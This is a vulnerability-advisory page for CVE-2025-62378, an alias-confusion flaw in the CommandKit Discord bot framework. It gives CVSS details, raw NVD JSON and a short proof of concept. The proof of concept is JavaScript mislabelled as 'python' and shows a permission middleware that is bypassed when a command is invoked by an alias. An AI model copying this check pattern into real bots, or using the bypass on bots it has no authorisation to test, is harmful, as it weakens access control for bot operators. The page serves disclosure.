Security Vulnerability Report
中文
CVE-2025-62378 CVSS 6.1 MEDIUM

CVE-2025-62378

Published: 2025-10-15 17:16:00
Last Modified: 2026-04-15 00:35:42

Description

CommandKit is the discord.js meta-framework for building Discord bots. In versions 1.2.0-rc.1 through 1.2.0-rc.11, a logic flaw exists in the message command handler that affects how the commandName property is exposed to both middleware functions and command execution contexts when handling command aliases. When a message command is invoked using an alias, the ctx.commandName value reflects the alias rather than the canonical command name. This occurs in both middleware functions and within the command's own run function. Although not explicitly documented, CommandKit's examples and guidance around middleware usage implicitly convey that ctx.commandName represents the canonical command identifier. Middleware examples in the documentation consistently use ctx.commandName to reference the command being executed. Developers who assume ctx.commandName is canonical may introduce unintended behavior when relying on it for logic such as permission checks, rate limiting, or audit logging. This could allow unauthorized command execution or inaccurate access control decisions. Slash commands and context menu commands are not affected. This issue has been patched in version 1.2.0-rc.12, where ctx.commandName now consistently returns the actual canonical command name regardless of the alias used to invoke it.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

No configuration data available.

CommandKit >= 1.2.0-rc.1, < 1.2.0-rc.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62378 PoC - CommandKit commandName alias confusion // This PoC demonstrates the vulnerability where ctx.commandName // returns the alias instead of the canonical command name. const { CommandKit } = require('commandkit'); // Define a command with an alias const adminCommand = { name: 'admin-delete', // canonical command name aliases: ['del', 'rm', 'remove'], // aliases that trigger this command run: async (ctx) => { // VULNERABILITY: ctx.commandName returns the alias used, not 'admin-delete' console.log(`Command name received: ${ctx.commandName}`); // Expected: 'admin-delete' (canonical name) // Actual (vulnerable): 'del', 'rm', or 'remove' (alias used) // Dangerous operation based on command if (ctx.commandName === 'admin-delete') { // This check would fail when called via alias! await performAdminDelete(ctx); } } }; // Middleware that relies on canonical command name for permission checks const permissionMiddleware = async (ctx, next) => { // VULNERABILITY: ctx.commandName is the alias, not 'admin-delete' if (ctx.commandName === 'admin-delete') { if (!ctx.user.roles.includes('admin')) { return ctx.reply('Permission denied'); } } // If permission check is bypassed due to alias, unauthorized execution occurs await next(); }; async function performAdminDelete(ctx) { // Simulated admin delete operation console.log('Admin delete operation executed!'); } // Exploitation: User invokes via alias 'rm' instead of 'admin-delete' // The middleware check 'ctx.commandName === "admin-delete"' fails // because ctx.commandName is 'rm', allowing bypass // Then the run function also receives 'rm' as commandName

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62378", "sourceIdentifier": "[email protected]", "published": "2025-10-15T17:16:00.313", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CommandKit is the discord.js meta-framework for building Discord bots. In versions 1.2.0-rc.1 through 1.2.0-rc.11, a logic flaw exists in the message command handler that affects how the commandName property is exposed to both middleware functions and command execution contexts when handling command aliases. When a message command is invoked using an alias, the ctx.commandName value reflects the alias rather than the canonical command name. This occurs in both middleware functions and within the command's own run function. Although not explicitly documented, CommandKit's examples and guidance around middleware usage implicitly convey that ctx.commandName represents the canonical command identifier. Middleware examples in the documentation consistently use ctx.commandName to reference the command being executed. Developers who assume ctx.commandName is canonical may introduce unintended behavior when relying on it for logic such as permission checks, rate limiting, or audit logging. This could allow unauthorized command execution or inaccurate access control decisions. Slash commands and context menu commands are not affected. This issue has been patched in version 1.2.0-rc.12, where ctx.commandName now consistently returns the actual canonical command name regardless of the alias used to invoke it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-706"}]}], "references": [{"url": "https://github.com/underctrl-io/commandkit/security/advisories/GHSA-fhwm-pc6r-4h2f", "source": "[email protected]"}]}}